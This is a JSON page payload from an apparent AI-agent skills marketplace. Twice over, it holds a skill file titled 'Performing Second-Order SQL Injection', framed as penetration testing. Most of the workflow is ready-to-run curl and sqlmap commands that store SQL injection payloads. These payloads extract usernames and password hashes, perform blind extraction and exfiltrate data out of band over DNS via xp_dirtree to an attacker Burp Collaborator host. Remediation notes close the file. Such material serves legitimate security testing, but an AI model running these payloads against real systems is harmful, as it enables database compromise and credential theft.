[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71GW9HTMHPP9MC41XS92MW9":3,"skill-same:01M71GW9HTMHPP9MC41XS92MW9":105},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":28,"publishedAt":49,"linkOnly":50,"markdownContent":51,"markdownBody":52,"frontMatter":53,"refName":78,"commitSha":79,"skillDirectory":80,"forksCount":14,"repositoryHtmlUrl":81,"repositoryHomepageUrl":6,"ownerHtmlUrl":82,"ownerBlogUrl":6,"ownerDescription":83,"updatedAt":84,"install":85,"resources":98},"01M71GW9HTMHPP9MC41XS92MW9","injection-sqli-secondorder-detect",null,"Detect and exploit second-order SQL injection vulnerabilities where malicious input is stored in a database and later executed in an unsafe SQL query during a different application operation.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Finjection\u002Fsqli\u002Fsecondorder\u002Fdetect\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":26,"taxonomyTypeDesc":27},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48],"injection","sqli","detect","injection sqli secondorder detect","security","input","SQL-injection","exploit","read","sql","de","later","malicious","Bash","query","sql query","database","cybersecurity","database-security","cm","2026-11-10 10:12:30",false,"---\nname: injection-sqli-secondorder-detect\ndescription: Detect and exploit second-order SQL injection vulnerabilities where malicious input is stored in a database and later executed in an unsafe SQL query during a different application operation.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- second-order-sqli\n- stored-sql-injection\n- sql-injection\n- database-security\n- web-security\n- blind-injection\n- persistent-sqli\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1190\ncwe:\n- CWE-89\ncapec: []\n---\n\n# Performing Second-Order SQL Injection\n\n## When to Use\n- When first-order SQL injection testing reveals proper input sanitization at storage time\n- During penetration testing of applications with user-generated content stored in databases\n- When testing multi-step workflows where stored data feeds subsequent database queries\n- During assessment of admin panels that display or process user-submitted data\n- When evaluating stored procedure execution paths that use previously stored data\n\n## Prerequisites\n- Burp Suite Professional for request tracking across application flows\n- SQLMap with second-order injection support (--second-url flag)\n- Understanding of SQL injection fundamentals and blind extraction techniques\n- Two or more application functions (one for storing data, another for triggering execution)\n- Database error message monitoring or blind technique knowledge\n- Multiple user accounts for testing stored data across different contexts\n\n## Workflow\n\n### Step 1 — Identify Storage and Trigger Points\n```bash\n# Map the application to identify:\n# 1. STORAGE POINTS: Where user input is saved to database\n#    - User registration (username, email, address)\n#    - Profile update forms\n#    - Comment\u002Freview submission\n#    - File upload metadata\n#    - Order\u002Fbooking details\n\n# 2. TRIGGER POINTS: Where stored data is used in queries\n#    - Admin panels displaying user data\n#    - Report generation\n#    - Search functionality using stored preferences\n#    - Password reset using stored email\n#    - Export\u002Fdownload features\n\n# Register a user with SQL injection in the username\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fregister \\\n  -d \"username=admin'--&password=test123&email=test@test.com\"\n```\n\n### Step 2 — Inject Payloads via Storage Points\n```bash\n# Store SQL injection payload in username during registration\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fregister \\\n  -d \"username=test' OR '1'='1'--&password=Test1234&email=test@test.com\"\n\n# Store injection in profile fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test' UNION SELECT password FROM users WHERE username='admin'--\"\n\n# Store injection in address field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Faddress \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"address=123 Main St' OR 1=1--&city=Test&zip=12345\"\n\n# Store injection in comment\u002Freview\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Freview \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--\"\n```\n\n### Step 3 — Trigger Execution of Stored Payloads\n```bash\n# Trigger via password change (uses stored username)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fchange-password \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"old_password=Test1234&new_password=NewPass123\"\n\n# Trigger via admin user listing\ncurl -H \"Cookie: session=ADMIN_TOKEN\" http:\u002F\u002Ftarget.com\u002Fadmin\u002Fusers\n\n# Trigger via data export\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fexport-data\n\n# Trigger via search using stored preferences\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Frecommendations\n\n# Trigger via report generation\ncurl -H \"Cookie: session=ADMIN_TOKEN\" \"http:\u002F\u002Ftarget.com\u002Fadmin\u002Freports?type=user-activity\"\n```\n\n### Step 4 — Use SQLMap for Second-Order Injection\n```bash\n# SQLMap with --second-url for second-order injection\n# Store payload at registration, trigger at profile page\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fregister\" \\\n  --data=\"username=*&password=test&email=test@test.com\" \\\n  --second-url=\"http:\u002F\u002Ftarget.com\u002Fprofile\" \\\n  --cookie=\"session=AUTH_TOKEN\" \\\n  --batch --dbs\n\n# Use --second-req for complex trigger requests\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate-profile\" \\\n  --data=\"display_name=*\" \\\n  --second-req=trigger_request.txt \\\n  --cookie=\"session=AUTH_TOKEN\" \\\n  --batch --tables\n\n# Content of trigger_request.txt:\n# GET \u002Fadmin\u002Fusers HTTP\u002F1.1\n# Host: target.com\n# Cookie: session=ADMIN_TOKEN\n```\n\n### Step 5 — Blind Second-Order Extraction\n```bash\n# Boolean-based blind: Check if stored payload causes different behavior\n# Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--\"\n\n# Trigger and observe response difference\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fprofile\n\n# Time-based blind second-order\n# Store: test'; WAITFOR DELAY '0:0:5'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test'; WAITFOR DELAY '0:0:5'--\"\n\n# Out-of-band extraction via DNS\n# Store: test'; EXEC xp_dirtree '\\\\attacker.burpcollaborator.net\\share'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test'; EXEC master..xp_dirtree '\\\\\\\\attacker.burpcollaborator.net\\\\share'--\"\n```\n\n### Step 6 — Escalate to Full Database Compromise\n```bash\n# Once injection is confirmed, enumerate database\n# Store UNION-based payload\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -d \"display_name=test' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--\"\n\n# Extract credentials\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -d \"display_name=test' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--\"\n\n# Trigger execution and read results\ncurl http:\u002F\u002Ftarget.com\u002Fprofile\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Second-Order Injection | SQL payload stored safely, then executed unsafely in a later operation |\n| Storage Point | Application function where malicious input is saved to the database |\n| Trigger Point | Separate function that retrieves stored data and uses it in an unsafe query |\n| Trusted Data Assumption | Developer assumes database-stored data is safe, skipping parameterization |\n| Stored Procedure Chains | Injection through stored procedures that use previously saved user data |\n| Deferred Execution | Payload may not execute until hours or days after initial storage |\n| Cross-Context Injection | Data stored by one user triggers execution in another user's context |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| SQLMap | Automated SQL injection with --second-url support for second-order attacks |\n| Burp Suite | Request tracking and comparison across storage and trigger endpoints |\n| OWASP ZAP | Automated scanning with injection detection |\n| Commix | Automated command injection tool supporting second-order techniques |\n| Custom Python scripts | Building automated storage-and-trigger exploitation chains |\n| DBeaver\u002FDataGrip | Direct database access for verifying stored payloads |\n\n## Common Scenarios\n\n1. **Username-Based Attack** — Register with a SQL injection payload as username; the payload executes when an admin views the user list\n2. **Password Change Exploitation** — Store injection in username; when changing password, the application uses the stored username in an unsafe UPDATE query\n3. **Report Generation Attack** — Inject payload in stored data fields; triggering report generation uses stored data in aggregate queries\n4. **Cross-User Injection** — Inject payload in a shared data field (comments, reviews) that triggers when another user or admin processes the data\n5. **Export Function Exploit** — Inject payload in profile data that triggers during CSV\u002FPDF export operations\n\n## Output Format\n\n```\n## Second-Order SQL Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Storage Point**: POST \u002Fregister (username field)\n- **Trigger Point**: GET \u002Fadmin\u002Fusers (admin panel)\n- **Database**: MySQL 8.0\n\n### Attack Flow\n1. Registered user with username: `admin' UNION SELECT password FROM users--`\n2. Application stored username safely using parameterized INSERT\n3. Admin panel retrieves usernames with unsafe string concatenation in SELECT\n4. Injected SQL executes, revealing all user passwords in admin view\n\n### Data Extracted\n| Table | Columns | Records |\n|-------|---------|---------|\n| users | username, password, email | 150 |\n| admin_tokens | token, user_id | 3 |\n\n### Remediation\n- Use parameterized queries for ALL database operations, including reads\n- Never trust data retrieved from the database as safe\n- Implement output encoding when displaying database content\n- Apply least-privilege database permissions\n- Enable SQL query logging for detecting injection attempts\n```\n","# Performing Second-Order SQL Injection\n\n## When to Use\n- When first-order SQL injection testing reveals proper input sanitization at storage time\n- During penetration testing of applications with user-generated content stored in databases\n- When testing multi-step workflows where stored data feeds subsequent database queries\n- During assessment of admin panels that display or process user-submitted data\n- When evaluating stored procedure execution paths that use previously stored data\n\n## Prerequisites\n- Burp Suite Professional for request tracking across application flows\n- SQLMap with second-order injection support (--second-url flag)\n- Understanding of SQL injection fundamentals and blind extraction techniques\n- Two or more application functions (one for storing data, another for triggering execution)\n- Database error message monitoring or blind technique knowledge\n- Multiple user accounts for testing stored data across different contexts\n\n## Workflow\n\n### Step 1 — Identify Storage and Trigger Points\n```bash\n# Map the application to identify:\n# 1. STORAGE POINTS: Where user input is saved to database\n#    - User registration (username, email, address)\n#    - Profile update forms\n#    - Comment\u002Freview submission\n#    - File upload metadata\n#    - Order\u002Fbooking details\n\n# 2. TRIGGER POINTS: Where stored data is used in queries\n#    - Admin panels displaying user data\n#    - Report generation\n#    - Search functionality using stored preferences\n#    - Password reset using stored email\n#    - Export\u002Fdownload features\n\n# Register a user with SQL injection in the username\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fregister \\\n  -d \"username=admin'--&password=test123&email=test@test.com\"\n```\n\n### Step 2 — Inject Payloads via Storage Points\n```bash\n# Store SQL injection payload in username during registration\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fregister \\\n  -d \"username=test' OR '1'='1'--&password=Test1234&email=test@test.com\"\n\n# Store injection in profile fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test' UNION SELECT password FROM users WHERE username='admin'--\"\n\n# Store injection in address field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Faddress \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"address=123 Main St' OR 1=1--&city=Test&zip=12345\"\n\n# Store injection in comment\u002Freview\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Freview \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--\"\n```\n\n### Step 3 — Trigger Execution of Stored Payloads\n```bash\n# Trigger via password change (uses stored username)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fchange-password \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"old_password=Test1234&new_password=NewPass123\"\n\n# Trigger via admin user listing\ncurl -H \"Cookie: session=ADMIN_TOKEN\" http:\u002F\u002Ftarget.com\u002Fadmin\u002Fusers\n\n# Trigger via data export\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fexport-data\n\n# Trigger via search using stored preferences\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Frecommendations\n\n# Trigger via report generation\ncurl -H \"Cookie: session=ADMIN_TOKEN\" \"http:\u002F\u002Ftarget.com\u002Fadmin\u002Freports?type=user-activity\"\n```\n\n### Step 4 — Use SQLMap for Second-Order Injection\n```bash\n# SQLMap with --second-url for second-order injection\n# Store payload at registration, trigger at profile page\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fregister\" \\\n  --data=\"username=*&password=test&email=test@test.com\" \\\n  --second-url=\"http:\u002F\u002Ftarget.com\u002Fprofile\" \\\n  --cookie=\"session=AUTH_TOKEN\" \\\n  --batch --dbs\n\n# Use --second-req for complex trigger requests\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate-profile\" \\\n  --data=\"display_name=*\" \\\n  --second-req=trigger_request.txt \\\n  --cookie=\"session=AUTH_TOKEN\" \\\n  --batch --tables\n\n# Content of trigger_request.txt:\n# GET \u002Fadmin\u002Fusers HTTP\u002F1.1\n# Host: target.com\n# Cookie: session=ADMIN_TOKEN\n```\n\n### Step 5 — Blind Second-Order Extraction\n```bash\n# Boolean-based blind: Check if stored payload causes different behavior\n# Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--\"\n\n# Trigger and observe response difference\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fprofile\n\n# Time-based blind second-order\n# Store: test'; WAITFOR DELAY '0:0:5'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test'; WAITFOR DELAY '0:0:5'--\"\n\n# Out-of-band extraction via DNS\n# Store: test'; EXEC xp_dirtree '\\\\attacker.burpcollaborator.net\\share'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test'; EXEC master..xp_dirtree '\\\\\\\\attacker.burpcollaborator.net\\\\share'--\"\n```\n\n### Step 6 — Escalate to Full Database Compromise\n```bash\n# Once injection is confirmed, enumerate database\n# Store UNION-based payload\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -d \"display_name=test' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--\"\n\n# Extract credentials\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -d \"display_name=test' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--\"\n\n# Trigger execution and read results\ncurl http:\u002F\u002Ftarget.com\u002Fprofile\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Second-Order Injection | SQL payload stored safely, then executed unsafely in a later operation |\n| Storage Point | Application function where malicious input is saved to the database |\n| Trigger Point | Separate function that retrieves stored data and uses it in an unsafe query |\n| Trusted Data Assumption | Developer assumes database-stored data is safe, skipping parameterization |\n| Stored Procedure Chains | Injection through stored procedures that use previously saved user data |\n| Deferred Execution | Payload may not execute until hours or days after initial storage |\n| Cross-Context Injection | Data stored by one user triggers execution in another user's context |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| SQLMap | Automated SQL injection with --second-url support for second-order attacks |\n| Burp Suite | Request tracking and comparison across storage and trigger endpoints |\n| OWASP ZAP | Automated scanning with injection detection |\n| Commix | Automated command injection tool supporting second-order techniques |\n| Custom Python scripts | Building automated storage-and-trigger exploitation chains |\n| DBeaver\u002FDataGrip | Direct database access for verifying stored payloads |\n\n## Common Scenarios\n\n1. **Username-Based Attack** — Register with a SQL injection payload as username; the payload executes when an admin views the user list\n2. **Password Change Exploitation** — Store injection in username; when changing password, the application uses the stored username in an unsafe UPDATE query\n3. **Report Generation Attack** — Inject payload in stored data fields; triggering report generation uses stored data in aggregate queries\n4. **Cross-User Injection** — Inject payload in a shared data field (comments, reviews) that triggers when another user or admin processes the data\n5. **Export Function Exploit** — Inject payload in profile data that triggers during CSV\u002FPDF export operations\n\n## Output Format\n\n```\n## Second-Order SQL Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Storage Point**: POST \u002Fregister (username field)\n- **Trigger Point**: GET \u002Fadmin\u002Fusers (admin panel)\n- **Database**: MySQL 8.0\n\n### Attack Flow\n1. Registered user with username: `admin' UNION SELECT password FROM users--`\n2. Application stored username safely using parameterized INSERT\n3. Admin panel retrieves usernames with unsafe string concatenation in SELECT\n4. Injected SQL executes, revealing all user passwords in admin view\n\n### Data Extracted\n| Table | Columns | Records |\n|-------|---------|---------|\n| users | username, password, email | 150 |\n| admin_tokens | token, user_id | 3 |\n\n### Remediation\n- Use parameterized queries for ALL database operations, including reads\n- Never trust data retrieved from the database as safe\n- Implement output encoding when displaying database content\n- Apply least-privilege database permissions\n- Enable SQL query logging for detecting injection attempts\n```\n",{"cwe":54,"name":5,"tags":56,"capec":63,"model":64,"tools":65,"domain":46,"maxTurns":69,"nist_csf":70,"subdomain":75,"description":7,"mitre_attack":76},[55],"CWE-89",[57,58,59,47,60,61,62],"second-order-sqli","stored-sql-injection","sql-injection","web-security","blind-injection","persistent-sqli",[],"sonnet",[66,42,67,68],"Read","Glob","Grep",20,[71,72,73,74],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[77],"T1190","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fweb-application\u002Finjection\u002Fsqli\u002Fsecondorder\u002Fdetect","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":86,"prompt":96,"zipAvailable":97},[87,90,93],{"tool":88,"command":89},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill injection-sqli-secondorder-detect",{"tool":91,"command":92},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill injection-sqli-secondorder-detect",{"tool":94,"command":95},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill injection-sqli-secondorder-detect","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Finjection\u002Fsqli\u002Fsecondorder\u002Fdetect\u002FSKILL.md",true,[99],{"path":100,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"index.json","REFERENCE","参考文档",721,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Finjection\u002Fsqli\u002Fsecondorder\u002Fdetect\u002Findex.json",[106,128,148,169,191,206],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":49},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[113,31,114,115,116,39,48,117,118,119,120,121,122,123,124,125,126,46,127],"services","services wmi persistence detect","wmi","persistence","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":129,"name":130,"nameZh":6,"description":131,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":132,"categories":133,"keywords":134,"publishedAt":49},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[36,113,135,115,136,137,138,46,42,139,140,141,142,143,39,144,145,37,146,147],"services wmi exec exploit","exec","remote","traffic","analysis","team","across","crackmapexec","native","command","lateral movement","lateral-movement","Impacket",{"skillNo":149,"name":150,"nameZh":6,"description":151,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":152,"categories":153,"keywords":154,"publishedAt":49},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[155,156,157,158,159,160,46,42,161,139,162,163,39,37,164,165,166,167,168,64],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":170,"name":171,"nameZh":6,"description":172,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":173,"categories":174,"keywords":175,"publishedAt":49},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[31,176,177,178,179,180,181,48,182,46,127,183,184,185,186,187,188,189,190,39],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":192,"name":193,"nameZh":6,"description":194,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":195,"categories":196,"keywords":197,"publishedAt":49},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[198,199,31,29,178,180,200,48,201,182,46,127,139,202,203,204,205,190,39,117],"thread","processes thread injection detect","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":207,"name":208,"nameZh":6,"description":209,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":210,"categories":211,"keywords":212,"publishedAt":49},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[213,31,178,214,200,48,215,216,46,127,217,218,219,220,221,222,39,117,223,224],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]